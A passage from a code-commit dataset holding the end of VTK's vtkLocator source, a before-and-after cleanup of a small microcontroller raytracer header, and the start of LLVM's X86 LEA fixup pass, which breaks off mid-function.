this->MaxLevel << \"\\n\" ;\n  os << indent << \"Level: \"      << this->Level << \"\\n\" ;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkLocator::Register(vtkObjectBase* o)\n{\n  this->RegisterInternal(o, 1);\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkLocator::UnRegister(vtkObjectBase* o)\n{\n  this->UnRegisterInternal(o, 1);\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkLocator::ReportReferences(vtkGarbageCollector* collector)\n{\n  this->Superclass::ReportReferences(collector);\n  vtkGarbageCollectorReport(collector, this->DataSet, \"DataSet\");\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\/*------------------------------------------------------------------------\n  This is based on Paul Heckbert's \"business card raytracer\".\n  His site is: http:\/\/www.cs.cmu.edu\/~ph\/\n\n  I modified it a lot adding colors\/materials, arbitrary sphere\n  positions, etc.\n  \n  I also added some comments and made it readable. The original\n  code was designed to be small enough to print on the back of\n  a business card (hence the name) so it was very hard to read.\n  \n  FTB.\n------------------------------------------------------------------------*\/\n#include <cmath>\n#include <cstdint>\n\nextern \"C\" {\n\tvoid draw_pixel(int x, int y, int r, int g, int b);\n};\n\n\/*------------------------------------------------------------------------\n  (For non-arduino platforms)\n------------------------------------------------------------------------*\/\n#ifndef PROGMEM\n#define PROGMEM\nfloat pgm_read_float(const float *f) {  return *f;  }\n#endif\n\n\/*------------------------------------------------------------------------\n  Values you can play with...\n------------------------------------------------------------------------*\/\n\n\/\/ Position of the camera (nb. 'Z' is up\/down)\nstatic const float cameraX = 0.0;\nstatic const float cameraY = 0.0;\nstatic const float cameraZ = 3.0;\n\n\/\/ What the camera is pointing at\nstatic const float targetX = 1.0;\nstatic const float targetY = 8.0;\nstatic const float targetZ = 4.0;\n\n\/\/ We cast this many rays per pixel for stochastic antialiasing and soft-shadows. \n\/\/\n\/\/ Large numbers produce a nicer image but it runs a lot slower\n\/\/static const int raysPerPixel = 4;\n\n\/\/ The camera's field of view, smaller=>zoom, larger=>wide angle\nstatic const float fov = 0.45f;\n\n\/\/ The size of the soft shadow, larger=>wider area\nstatic const float shadowRegion = 0.125f;\n\n\/*------------------------------------------------------------------------\n  Materials\n------------------------------------------------------------------------*\/\nstatic const float ambient = 0.05f;\nstatic const float materials[] PROGMEM = {\n\/\/ R,    G,    B,   REFLECTIVITY\n  0.8f, 0.8f, 0.8f,   0.5f,    \/\/ Mirror\n\/\/  1.0f, 0.0f, 0.0f,   0.3f,    \/\/ Red\n  0.0f, 1.0f, 0.0f,   0.2f,    \/\/ Green\n\/\/  0.0f, 0.0f, 0.1f,   0.3f     \/\/ Dark blue\n  0.0f, 0.8f, 0.8f,   0.3f     \/\/ Cyan\n};\n\n\/*------------------------------------------------------------------------\n  The spheres in the world\n------------------------------------------------------------------------*\/\n#define NUM_SPHERES 4\nstatic const float spheres[] PROGMEM = {\n\/\/ center  radius material\n   5,15,8,   5,     0,\n  -6,12,4,   3,     0,\n   1,10,2,   2,     1,\n   0, 9,5,   1,     2\n};\n\n\/*------------------------------------------------------------------------\n  A 3D vector class\n------------------------------------------------------------------------*\/\nstruct vec3 {\n  float x,y,z;  \/\/ Vector has three float attributes.\n  vec3(){}\n  vec3(float a, float b, float c){x=a;y=b;z=c;}\n  vec3 operator+(const vec3& v) const { return vec3(x+v.x,y+v.y,z+v.z);  }    \/\/ Vector add\n  vec3 operator-(const vec3& v) const { return (*this)+(v*-1);           }    \/\/ Vector subtract\n  vec3 operator*(float s)       const { return vec3(x*s,y*s,z*s);        }    \/\/ Vector scale\n  float operator%(const vec3& v)const { return x*v.x+y*v.y+z*v.z;        }    \/\/ Scalar product\n  vec3 operator^(const vec3& v) const { return vec3(y*v.z-z*v.y, z*v.x-x*v.z, x*v.y-y*v.x);  } \/\/ Vector product\n  vec3 operator!()              const { return *this*(1.0\/sqrt(*this%*this));  }  \/\/ Normalized vector\n  void operator+=(const vec3& v)      { x+=v.x;  y+=v.y;  z+=v.z;        }\n  void operator*=(float s)            { x*=s;    y*=s;    z*=s;          }\n};\n\n\/\/ A ray...\nstruct ray {\n  \/\/ This occupies 24 bytes - you could only fit 20 of these into\n  \/\/ a Tiny85 even if you could use the entire RAM (which you can't...)\n  vec3 o;  \/\/ Origin\n  vec3 d;  \/\/ Direction\n};\n\n\/*------------------------------------------------------------------------\n  Intersect a ray with the world\n  Return 'SKY' if no hit was found but ray goes upward\n  Return 'FLOOR' if no hit was found but ray goes downward towards the floor\n  Return a material index if a hit was found\n\n  Distance to the hit is returned in 'distance'. \n  The surface normal at the hit is returned in 'normal'\n------------------------------------------------------------------------*\/\n\/\/ Values for 'SKY' and 'FLOOR'\nstatic const uint8_t SKY=255;\nstatic const uint8_t FLOOR=254;\n\nuint8_t trace(const ray& r, float& distance, vec3& normal)\n{\n  \/\/ Assume we didn't hit anything\n  uint8_t result = SKY;\n\n  \/\/ Does the ray go downwards?\n  float d = -r.o.z\/r.d.z;\n  if (d > 0.01) {\n    \/\/ Yes, assume it hits the floor\n    result = true;\n    distance = d;\n    result = FLOOR;\n    normal = vec3(0,0,1);\n  }\n\n  \/\/ Test the objects in the scene to see if there's anything in the way\n  for (uint8_t i=0; i<NUM_SPHERES; ++i) {\n    vec3 oc = r.o;\n    \/\/ Read a sphere from progmem, calculate vector 'oc'\n    const float *n = spheres+(i*5);\n    oc.x -= pgm_read_float(n++);\n    oc.y -= pgm_read_float(n++);\n    oc.z -= pgm_read_float(n++);\n    d = pgm_read_float(n++);  \/\/ Radius\n\n    \/\/ Ray-sphere intersection test\n    \/\/ Math is here: http:\/\/en.wikipedia.org\/wiki\/Line%E2%80%93sphere_intersection\n    const float b = r.d%oc;        \/\/ I.(o-c)\n    const float c = (oc%oc)-(d*d); \/\/ (o-c).(o-c) - r^2\n\n    \/\/ Does the ray hit the sphere?\n    d = (b*b)-c;\n    if (d > 0) {\n      \/\/ Yes, compute the distance to the hit\n      d = (-b)-sqrt(d);\n\n      \/\/ Is it the closest hit so far?\n      if ((d > 0.01) and ((result==SKY) or (d<distance))) {\n        \/\/ Yes, save results\n        distance = d;\n        normal = !(oc+r.d*d);\n        result = uint8_t(pgm_read_float(n));  \/\/ The sphere's material\n      }\n    }\n  }\n  return result;\n}\nfloat raise(float p, uint8_t n)\n{\n  while (n--) {\n    p = p*p;\n  }\n  return p;\n}\n\n\/*----------------------------------------------------------\n  Small, fast pseudo-random number generator\n  \n  I found this in a forum and I'm not sure who originally\n  wrote it. It works very well though....\n \n  If you wrote this then get in touch and I'll put\n  your name here. :-)                              FTB.\n----------------------------------------------------------*\/\nuint8_t randomByte()\n{\n  static uint8_t rngA, rngB, rngC, rngX;\n  ++rngX;                        \/\/ X is incremented every round and is not affected by any other variable\n  rngA = (rngA ^ rngC ^ rngX);       \/\/ note the mix of addition and XOR\n  rngB = (rngB + rngA);            \/\/ And the use of very few instructions\n  rngC = ((rngC + (rngB >> 1)) ^ rngA);  \/\/ the right shift is to ensure that high-order bits from B can affect  \n  return rngC;\n}\n\n\/\/ A random float in the range [-0.5 ... 0.5]  (more or less)\nfloat randomFloat()\n{\n  char r = char(randomByte());\n  return float(r)\/256.0;\n}\n#define RF randomFloat()\n#define SH (RF*shadowRegion)\n\n\/*------------------------------------------------------------------------\n  Sample the world and return the pixel color for a ray\n------------------------------------------------------------------------*\/\nfloat sample(ray& r, vec3& color)\n{\n  \/\/ See if the ray hits anything in the world\n  float t;  vec3& n = color;      \/\/ RAM is tight, use 'color' as temp workspace\n  const uint8_t hit = trace(r,t,n);\n\n  \/\/ Did we hit anything\n  if (hit == SKY) {\n    \/\/ Generate a sky color if the ray goes upwards without hitting anything\n    color = vec3(0.1f,0.0f,0.3f) + vec3(.7f,.2f,0.5f)*raise(1.0-r.d.z,2);\n    return 0.0;\n  }\n\n  \/\/ New ray origin\n  r.o += r.d*t;\n\n  \/\/ Half vector\n  const vec3 half = !(r.d+n*((n%r.d)*-2));\n\n\/\/ Vector that points towards the light\n  r.d = vec3(9+SH, 6+SH,16); \/\/ Where the light is\n  r.d = !(r.d-r.o);          \/\/ Normalized light vector\n\n  \/\/ Lambertian factor\n  float d = r.d%n;    \/\/ Light vector % surface normal\n\n  \/\/ See if we're in shadow\n  if ((d<0) or (trace(r,t,n)!=SKY)) {\n    d = 0;\n  }\n\n  \/\/ Did we hit the floor?\n  if (hit == FLOOR) {\n    \/\/ Yes, generate a floor color\n    d=(d*0.2)+0.1;   t=d*3.0;  \/\/ d=dark, t=light\n    color = vec3(t,t,t);       \/\/ Assume grey color\n    t = 1.0f\/5.0f;     \/\/ Floor tiles are 5m across\n\/\/    int fx = int(ceil(r.o.x*t));\n\/\/    int fy = int(ceil(r.o.y*t));\n\/\/    bool dark = ((fx+fy)&1)!=0;  \/\/ Light or dark color?\n    bool dark = (((int)(ceil(r.o.x*t)+ceil(r.o.y*t)))&1);  \/\/ Light or dark color? -> fix for AVR compiler\n    if (dark) { color.y = color.z = d; }        \/\/ g+b => dark => 'red'\n    return 0;\n  }\n\n  \/\/ No, we hit the scene, read material color from progmem\n  const float *mat = materials+(hit*4);\n  color.x = pgm_read_float(mat++);\n  color.y = pgm_read_float(mat++);\n  color.z = pgm_read_float(mat++);\n \n  \/\/ Specular light in 't'\n  t = d;\n  if (t > 0) {\n    t = raise(r.d%half,5);\n  }\n\n  \/\/ Calculate total color using diffuse and specular components\n  color *= d*d+ambient;  \/\/ Ambient+diffuse\n  color += vec3(t,t,t);  \/\/ Specular\n\n  \/\/ We need to trace a reflection ray...need to modify 'r' for the recursion\n  r.d = half;\n  return pgm_read_float(mat);    \/\/ Reflectivity of this material\n}\n\n\/*------------------------------------------------------------------------\n  Raytrace the entire image\n------------------------------------------------------------------------*\/\nvoid doRaytrace(int raysPerPixel = 4, int dw = 320, int dh = 240, int q = 1)\n{\n  \/\/ Trace it\n  int dw2=dw\/2;;\n  int dh2=dh\/2;\n  const float pixel =  fov\/float(dh2);    \/\/ Size of one pixel on screen\n\n  \/\/ Position\/target of camera\n  const vec3 camera = vec3(cameraX,cameraY,cameraZ);\n  const vec3 target = vec3(targetX,targetY,targetZ);\n  \n\/\/\/  unsigned long t = millis();\n  unsigned long t = 0;\n\n  for (int y=0; y<dh; y+=q) {\n    for (int x=0; x<dw; x+=q) {\n      vec3 acc(0,0,0);     \/\/ Color accumulator\n      for (int p=raysPerPixel; p--;) {\n        ray r;  vec3 temp;\n        float xpos = float(x-dw2), ypos=float(dh2-y);\n        if (raysPerPixel>1) { xpos+=RF; ypos+=RF; }       \/\/ Stochastic antialiasing when RPP > 1\n\n        \/\/ Calculate a ray through this pixel\n        temp = !(target-camera);\n        vec3& right = r.o;   right = !(temp^vec3(0,0,1));\n        vec3& up = r.d;      up = !(right^temp);\n        r.d = !(temp + ((right*xpos)+(up*ypos))*pixel);  \/\/ Ray direction\n        r.o = camera;                                    \/\/ Ray starts at the camera\n        \n        \/\/ Sample the world, accumulate the color returned\n        vec3& color = temp;\n        float reflect1 = sample(r,color);\n        acc += color;\n        \/\/ 'sample()' would normally be recursive but there's not enough RAM to do that on a Tiny85...\n        if (reflect1 > 0) {\n          \/\/ ...so we do the 'recursion' manually\n          float reflect2 = sample(r,color);\n          acc += color*reflect1;\n          if (reflect2 > 0) {\n            \/\/ ...3 levels deep\n            sample(r,color);\n            acc += color*(reflect1*reflect2);\n          }\n        }\n      }\n      \n      \/\/ Output the pixel\n      acc = acc*(255.0\/float(raysPerPixel));\n      int r = acc.x;    if (r>255) { r=255; }\n      int g = acc.y;    if (g>255) { g=255; }\n      int b = acc.z;    if (b>255) { b=255; }\n\t  draw_pixel(x, y, r, g, b);\n\/\/\/      if(q==1) display.drawPixel(x, y, RGBTO565(r,g,b));\n\/\/\/      else display.fillRect(x, y, q, q, RGBTO565(r,g,b));\n    }\n\/\/ workaround for ESP8266 which reboots after staying too long in the loops (WTF-watchdog?)\n#ifdef ESP8266\n    delay(1);\n#endif\n\/\/\/    char buf[100];\n\/\/\/    snprintf(buf,100,\"%3d%% %3ds\", (y+q)*100\/dh, (millis()-t)\/1000);\n\/\/\/    display.setCursor(8,0);\n\/\/\/    display.println(buf);\n  }\n}\n<commit_msg>update: cleanup<commit_after>#pragma once\n\/*------------------------------------------------------------------------\n  This is based on Paul Heckbert's \"business card raytracer\".\n  His site is: http:\/\/www.cs.cmu.edu\/~ph\/\n\n  I modified it a lot adding colors\/materials, arbitrary sphere\n  positions, etc.\n  \n  I also added some comments and made it readable. The original\n  code was designed to be small enough to print on the back of\n  a business card (hence the name) so it was very hard to read.\n  \n  FTB.\n------------------------------------------------------------------------*\/\n#include <cmath>\n#include <cstdint>\n\nextern \"C\" {\n\tvoid draw_pixel(int x, int y, int r, int g, int b);\n};\n\n\/*------------------------------------------------------------------------\n  Values you can play with...\n------------------------------------------------------------------------*\/\n\n\/\/ Position of the camera (nb. 'Z' is up\/down)\nstatic const float cameraX = 0.0f;\nstatic const float cameraY = 0.0f;\nstatic const float cameraZ = 3.0f;\n\n\/\/ What the camera is pointing at\nstatic const float targetX = 1.0f;\nstatic const float targetY = 8.0f;\nstatic const float targetZ = 4.0f;\n\n\/\/ We cast this many rays per pixel for stochastic antialiasing and soft-shadows. \n\/\/\n\/\/ Large numbers produce a nicer image but it runs a lot slower\n\/\/static const int raysPerPixel = 4;\n\n\/\/ The camera's field of view, smaller=>zoom, larger=>wide angle\nstatic const float fov = 0.45f;\n\n\/\/ The size of the soft shadow, larger=>wider area\nstatic const float shadowRegion = 0.125f;\n\n\/*------------------------------------------------------------------------\n  Materials\n------------------------------------------------------------------------*\/\nstatic const float ambient = 0.05f;\nstatic const float materials[] = {\n\/\/ R,    G,    B,   REFLECTIVITY\n  0.8f, 0.8f, 0.8f,   0.5f,    \/\/ Mirror\n\/\/  1.0f, 0.0f, 0.0f,   0.3f,    \/\/ Red\n  0.0f, 1.0f, 0.0f,   0.2f,    \/\/ Green\n\/\/  0.0f, 0.0f, 0.1f,   0.3f     \/\/ Dark blue\n  0.0f, 0.8f, 0.8f,   0.3f     \/\/ Cyan\n};\n\n\/*------------------------------------------------------------------------\n  The spheres in the world\n------------------------------------------------------------------------*\/\n#define NUM_SPHERES 4\nstatic const float spheres[] = {\n\/\/ center  radius material\n   5,15,8,   5,     0,\n  -6,12,4,   3,     0,\n   1,10,2,   2,     1,\n   0, 9,5,   1,     2\n};\n\n\/*------------------------------------------------------------------------\n  A 3D vector class\n------------------------------------------------------------------------*\/\nstruct vec3 {\n  float x,y,z;  \/\/ Vector has three float attributes.\n  vec3(){}\n  vec3(float a, float b, float c){x=a;y=b;z=c;}\n  vec3 operator+(const vec3& v) const { return vec3(x+v.x,y+v.y,z+v.z);  }    \/\/ Vector add\n  vec3 operator-(const vec3& v) const { return (*this)+(v*-1);           }    \/\/ Vector subtract\n  vec3 operator*(float s)       const { return vec3(x*s,y*s,z*s);        }    \/\/ Vector scale\n  float operator%(const vec3& v)const { return x*v.x+y*v.y+z*v.z;        }    \/\/ Scalar product\n  vec3 operator^(const vec3& v) const { return vec3(y*v.z-z*v.y, z*v.x-x*v.z, x*v.y-y*v.x);  } \/\/ Vector product\n  vec3 operator!()              const { return *this*(1.0\/sqrt(*this%*this));  }  \/\/ Normalized vector\n  void operator+=(const vec3& v)      { x+=v.x;  y+=v.y;  z+=v.z;        }\n  void operator*=(float s)            { x*=s;    y*=s;    z*=s;          }\n};\n\n\/\/ A ray...\nstruct ray {\n  \/\/ This occupies 24 bytes - you could only fit 20 of these into\n  \/\/ a Tiny85 even if you could use the entire RAM (which you can't...)\n  vec3 o;  \/\/ Origin\n  vec3 d;  \/\/ Direction\n};\n\n\/*------------------------------------------------------------------------\n  Intersect a ray with the world\n  Return 'SKY' if no hit was found but ray goes upward\n  Return 'FLOOR' if no hit was found but ray goes downward towards the floor\n  Return a material index if a hit was found\n\n  Distance to the hit is returned in 'distance'. \n  The surface normal at the hit is returned in 'normal'\n------------------------------------------------------------------------*\/\n\/\/ Values for 'SKY' and 'FLOOR'\nstatic const uint8_t SKY=255;\nstatic const uint8_t FLOOR=254;\n\nuint8_t trace(const ray& r, float& distance, vec3& normal)\n{\n  \/\/ Assume we didn't hit anything\n  uint8_t result = SKY;\n\n  \/\/ Does the ray go downwards?\n  float d = -r.o.z\/r.d.z;\n  if (d > 0.01f) {\n    \/\/ Yes, assume it hits the floor\n    result = true;\n    distance = d;\n    result = FLOOR;\n    normal = vec3(0,0,1);\n  }\n\n  \/\/ Test the objects in the scene to see if there's anything in the way\n  for (uint8_t i=0; i<NUM_SPHERES; ++i) {\n    vec3 oc = r.o;\n    \/\/ Read a sphere from progmem, calculate vector 'oc'\n    const float* n = spheres+(i*5);\n    oc.x -= *n++;\n    oc.y -= *n++;\n    oc.z -= *n++;\n    d = *n++;  \/\/ Radius\n\n    \/\/ Ray-sphere intersection test\n    \/\/ Math is here: http:\/\/en.wikipedia.org\/wiki\/Line%E2%80%93sphere_intersection\n    const float b = r.d%oc;        \/\/ I.(o-c)\n    const float c = (oc%oc)-(d*d); \/\/ (o-c).(o-c) - r^2\n\n    \/\/ Does the ray hit the sphere?\n    d = (b*b)-c;\n    if (d > 0) {\n      \/\/ Yes, compute the distance to the hit\n      d = (-b)-sqrt(d);\n\n      \/\/ Is it the closest hit so far?\n      if ((d > 0.01) and ((result==SKY) or (d<distance))) {\n        \/\/ Yes, save results\n        distance = d;\n        normal = !(oc+r.d*d);\n        result = static_cast<uint8_t>(*n);  \/\/ The sphere's material\n      }\n    }\n  }\n  return result;\n}\nfloat raise(float p, uint8_t n)\n{\n  while (n--) {\n    p = p*p;\n  }\n  return p;\n}\n\n\/*----------------------------------------------------------\n  Small, fast pseudo-random number generator\n  \n  I found this in a forum and I'm not sure who originally\n  wrote it. It works very well though....\n \n  If you wrote this then get in touch and I'll put\n  your name here. :-)                              FTB.\n----------------------------------------------------------*\/\nuint8_t randomByte()\n{\n  static uint8_t rngA, rngB, rngC, rngX;\n  ++rngX;                        \/\/ X is incremented every round and is not affected by any other variable\n  rngA = (rngA ^ rngC ^ rngX);       \/\/ note the mix of addition and XOR\n  rngB = (rngB + rngA);            \/\/ And the use of very few instructions\n  rngC = ((rngC + (rngB >> 1)) ^ rngA);  \/\/ the right shift is to ensure that high-order bits from B can affect  \n  return rngC;\n}\n\n\/\/ A random float in the range [-0.5 ... 0.5]  (more or less)\nfloat randomFloat()\n{\n  char r = char(randomByte());\n  return float(r)\/256.0f;\n}\n#define RF randomFloat()\n#define SH (RF*shadowRegion)\n\n\/*------------------------------------------------------------------------\n  Sample the world and return the pixel color for a ray\n------------------------------------------------------------------------*\/\nfloat sample(ray& r, vec3& color)\n{\n  \/\/ See if the ray hits anything in the world\n  float t;  vec3& n = color;      \/\/ RAM is tight, use 'color' as temp workspace\n  const uint8_t hit = trace(r,t,n);\n\n  \/\/ Did we hit anything\n  if (hit == SKY) {\n    \/\/ Generate a sky color if the ray goes upwards without hitting anything\n    color = vec3(0.1f,0.0f,0.3f) + vec3(.7f,.2f,0.5f)*raise(1.0-r.d.z,2);\n    return 0.0f;\n  }\n\n  \/\/ New ray origin\n  r.o += r.d*t;\n\n  \/\/ Half vector\n  const vec3 half = !(r.d+n*((n%r.d)*-2));\n\n\/\/ Vector that points towards the light\n  r.d = vec3(9+SH, 6+SH,16); \/\/ Where the light is\n  r.d = !(r.d-r.o);          \/\/ Normalized light vector\n\n  \/\/ Lambertian factor\n  float d = r.d%n;    \/\/ Light vector % surface normal\n\n  \/\/ See if we're in shadow\n  if ((d<0) or (trace(r,t,n)!=SKY)) {\n    d = 0;\n  }\n\n  \/\/ Did we hit the floor?\n  if (hit == FLOOR) {\n    \/\/ Yes, generate a floor color\n    d=(d*0.2f)+0.1f;   t=d*3.0f;  \/\/ d=dark, t=light\n    color = vec3(t,t,t);       \/\/ Assume grey color\n    t = 1.0f\/5.0f;     \/\/ Floor tiles are 5m across\n\/\/    int fx = int(ceil(r.o.x*t));\n\/\/    int fy = int(ceil(r.o.y*t));\n\/\/    bool dark = ((fx+fy)&1)!=0;  \/\/ Light or dark color?\n    bool dark = (((int)(ceil(r.o.x*t)+ceil(r.o.y*t)))&1);  \/\/ Light or dark color? -> fix for AVR compiler\n    if (dark) { color.y = color.z = d; }        \/\/ g+b => dark => 'red'\n    return 0;\n  }\n\n  \/\/ No, we hit the scene, read material color from progmem\n  const float* mat = materials+(hit*4);\n  color.x = *mat++;\n  color.y = *mat++;\n  color.z = *mat++;\n \n  \/\/ Specular light in 't'\n  t = d;\n  if (t > 0) {\n    t = raise(r.d%half,5);\n  }\n\n  \/\/ Calculate total color using diffuse and specular components\n  color *= d*d+ambient;  \/\/ Ambient+diffuse\n  color += vec3(t,t,t);  \/\/ Specular\n\n  \/\/ We need to trace a reflection ray...need to modify 'r' for the recursion\n  r.d = half;\n  return *mat;    \/\/ Reflectivity of this material\n}\n\n\/*------------------------------------------------------------------------\n  Raytrace the entire image\n------------------------------------------------------------------------*\/\nvoid doRaytrace(int raysPerPixel = 4, int dw = 320, int dh = 240, int q = 1)\n{\n  \/\/ Trace it\n  int dw2=dw\/2;;\n  int dh2=dh\/2;\n  const float pixel =  fov\/float(dh2);    \/\/ Size of one pixel on screen\n\n  \/\/ Position\/target of camera\n  const vec3 camera = vec3(cameraX,cameraY,cameraZ);\n  const vec3 target = vec3(targetX,targetY,targetZ);\n  \n\/\/\/  unsigned long t = millis();\n  unsigned long t = 0;\n\n  for (int y=0; y<dh; y+=q) {\n    for (int x=0; x<dw; x+=q) {\n      vec3 acc(0,0,0);     \/\/ Color accumulator\n      for (int p=raysPerPixel; p--;) {\n        ray r;  vec3 temp;\n        float xpos = float(x-dw2), ypos=float(dh2-y);\n        if (raysPerPixel>1) { xpos+=RF; ypos+=RF; }       \/\/ Stochastic antialiasing when RPP > 1\n\n        \/\/ Calculate a ray through this pixel\n        temp = !(target-camera);\n        vec3& right = r.o;   right = !(temp^vec3(0,0,1));\n        vec3& up = r.d;      up = !(right^temp);\n        r.d = !(temp + ((right*xpos)+(up*ypos))*pixel);  \/\/ Ray direction\n        r.o = camera;                                    \/\/ Ray starts at the camera\n        \n        \/\/ Sample the world, accumulate the color returned\n        vec3& color = temp;\n        float reflect1 = sample(r,color);\n        acc += color;\n        \/\/ 'sample()' would normally be recursive but there's not enough RAM to do that on a Tiny85...\n        if (reflect1 > 0) {\n          \/\/ ...so we do the 'recursion' manually\n          float reflect2 = sample(r,color);\n          acc += color*reflect1;\n          if (reflect2 > 0) {\n            \/\/ ...3 levels deep\n            sample(r,color);\n            acc += color*(reflect1*reflect2);\n          }\n        }\n      }\n      \n      \/\/ Output the pixel\n      acc = acc*(255.0f\/float(raysPerPixel));\n      int r = acc.x;    if (r>255) { r=255; }\n      int g = acc.y;    if (g>255) { g=255; }\n      int b = acc.z;    if (b>255) { b=255; }\n\t  draw_pixel(x, y, r, g, b);\n\/\/\/      if(q==1) display.drawPixel(x, y, RGBTO565(r,g,b));\n\/\/\/      else display.fillRect(x, y, q, q, RGBTO565(r,g,b));\n    }\n\/\/ workaround for ESP8266 which reboots after staying too long in the loops (WTF-watchdog?)\n#ifdef ESP8266\n    delay(1);\n#endif\n\/\/\/    char buf[100];\n\/\/\/    snprintf(buf,100,\"%3d%% %3ds\", (y+q)*100\/dh, (millis()-t)\/1000);\n\/\/\/    display.setCursor(8,0);\n\/\/\/    display.println(buf);\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===-- X86FixupLEAs.cpp - use or replace LEA instructions -----------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines the pass which will find  instructions  which\n\/\/ can be re-written as LEA instructions in order to reduce pipeline\n\/\/ delays for some models of the Intel Atom family.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"X86.h\"\n#include \"X86InstrInfo.h\"\n#include \"X86Subtarget.h\"\n#include \"llvm\/ADT\/Statistic.h\"\n#include \"llvm\/CodeGen\/LiveVariables.h\"\n#include \"llvm\/CodeGen\/MachineFunctionPass.h\"\n#include \"llvm\/CodeGen\/MachineInstrBuilder.h\"\n#include \"llvm\/CodeGen\/MachineRegisterInfo.h\"\n#include \"llvm\/CodeGen\/Passes.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/Target\/TargetInstrInfo.h\"\nusing namespace llvm;\n\n#define DEBUG_TYPE \"x86-fixup-LEAs\"\n\nSTATISTIC(NumLEAs, \"Number of LEA instructions created\");\n\nnamespace {\nclass FixupLEAPass : public MachineFunctionPass {\n  enum RegUsageState { RU_NotUsed, RU_Write, RU_Read };\n  static char ID;\n  \/\/\/ \\brief Loop over all of the instructions in the basic block\n  \/\/\/ replacing applicable instructions with LEA instructions,\n  \/\/\/ where appropriate.\n  bool processBasicBlock(MachineFunction &MF, MachineFunction::iterator MFI);\n\n  const char *getPassName() const override { return \"X86 Atom LEA Fixup\"; }\n\n  \/\/\/ \\brief Given a machine register, look for the instruction\n  \/\/\/ which writes it in the current basic block. If found,\n  \/\/\/ try to replace it with an equivalent LEA instruction.\n  \/\/\/ If replacement succeeds, then also process the the newly created\n  \/\/\/ instruction.\n  void seekLEAFixup(MachineOperand &p, MachineBasicBlock::iterator &I,\n                    MachineFunction::iterator MFI);\n\n  \/\/\/ \\brief Given a memory access or LEA instruction\n  \/\/\/ whose address mode uses a base and\/or index register, look for\n  \/\/\/ an opportunity to replace the instruction which sets the base or index\n  \/\/\/ register with an equivalent LEA instruction.\n  void processInstruction(MachineBasicBlock::iterator &I,\n                          MachineFunction::iterator MFI);\n\n  \/\/\/ \\brief Given a LEA instruction which is unprofitable\n  \/\/\/ on Silvermont try to replace it with an equivalent ADD instruction\n  void processInstructionForSLM(MachineBasicBlock::iterator &I,\n                                MachineFunction::iterator MFI);\n\n  \/\/\/ \\brief Determine if an instruction references a machine register\n  \/\/\/ and, if so, whether it reads or writes the register.\n  RegUsageState usesRegister(MachineOperand &p, MachineBasicBlock::iterator I);\n\n  \/\/\/ \\brief Step backwards through a basic block, looking\n  \/\/\/ for an instruction which writes a register within\n  \/\/\/ a maximum of INSTR_DISTANCE_THRESHOLD instruction latency cycles.\n  MachineBasicBlock::iterator searchBackwards(MachineOperand &p,\n                                              MachineBasicBlock::iterator &I,\n                                              MachineFunction::iterator MFI);\n\n  \/\/\/ \\brief if an instruction can be converted to an\n  \/\/\/ equivalent LEA, insert the new instruction into the basic block\n  \/\/\/ and return a pointer to it. Otherwise, return zero.\n  MachineInstr *postRAConvertToLEA(MachineFunction::iterator &MFI,\n                                   MachineBasicBlock::iterator &MBBI) const;\n\npublic:\n  FixupLEAPass() : MachineFunctionPass(ID) {}\n\n  \/\/\/ \\brief Loop over all of the basic blocks,\n  \/\/\/ replacing instructions by equivalent LEA instructions\n  \/\/\/ if needed and when possible.\n  bool runOnMachineFunction(MachineFunction &MF) override;\n\nprivate:\n  MachineFunction *MF;\n  const TargetMachine *TM;\n  const X86InstrInfo *TII; \/\/ Machine instruction info.\n};\nchar FixupLEAPass::ID = 0;\n}\n\nMachineInstr *\nFixupLEAPass::postRAConvertToLEA(MachineFunction::iterator &MFI,\n                                 MachineBasicBlock::iterator &MBBI) const {\n  MachineInstr *MI = MBBI;\n  MachineInstr *NewMI;\n  switch (MI->getOpcode()) {\n  case X86::MOV32rr:\n  case X86::MOV64rr: {\n    const MachineOperand &Src = MI->getOperand(1);\n    const MachineOperand &Dest = MI->getOperand(0);\n    NewMI = BuildMI(*MF, MI->getDebugLoc(),\n                    TII->get(MI->getOpcode() == X86::MOV32rr ? X86::LEA32r\n                                                             : X86::LEA64r))\n                .addOperand(Dest)\n                .addOperand(Src)\n                .addImm(1)\n                .addReg(0)\n                .addImm(0)\n                .addReg(0);\n    MFI->insert(MBBI, NewMI); \/\/ Insert the new inst\n    return NewMI;\n  }\n  case X86::ADD64ri32:\n  case X86::ADD64ri8:\n  case X86::ADD64ri32_DB:\n  case X86::ADD64ri8_DB:\n  case X86::ADD32ri:\n  case X86::ADD32ri8:\n  case X86::ADD32ri_DB:\n  case X86::ADD32ri8_DB:\n  case X86::ADD16ri:\n  case X86::ADD16ri8:\n  case X86::ADD16ri_DB:\n  case X86::ADD16ri8_DB:\n    if (!MI->getOperand(2).isImm()) {\n      \/\/ convertToThreeAddress will call getImm()\n      \/\/ which requires isImm() to be true\n      return nullptr;\n    }\n    break;\n  case X86::ADD16rr:\n  case X86::ADD16rr_DB:\n    if (MI->getOperand(1).getReg() != MI->getOperand(2).getReg()) {\n      \/\/ if src1 != src2, then convertToThreeAddress will\n      \/\/ need to create a Virtual register, which we cannot do\n      \/\/ after register allocation.\n      return nullptr;\n    }\n  }\n  return TII->convertToThreeAddress(MFI, MBBI, nullptr);\n}\n\nFunctionPass *llvm::createX86FixupLEAs() { return new FixupLEAPass(); }\n\nbool FixupLEAPass::runOnMachineFunction(MachineFunction &Func) {\n  MF = &Func;\n  TM = &Func.getTarget();\n  const X86Subtarget &ST = TM->getSubtarget<X86Subtarget>();\n  if (!ST.LEAusesAG() && !ST.slowLEA())\n    return false;\n\n  TII = static_cast<const X86InstrInfo *>(TM->getInstrInfo());\n\n  DEBUG(dbgs() << \"Start X86FixupLEAs\\n\";);\n  \/\/ Process all basic blocks.\n  for (MachineFunction::iterator I = Func.begin(), E = Func.end(); I != E; ++I)\n    processBasicBlock(Func, I);\n  DEBUG(dbgs() << \"End X86FixupLEAs\\n\";);\n\n  return 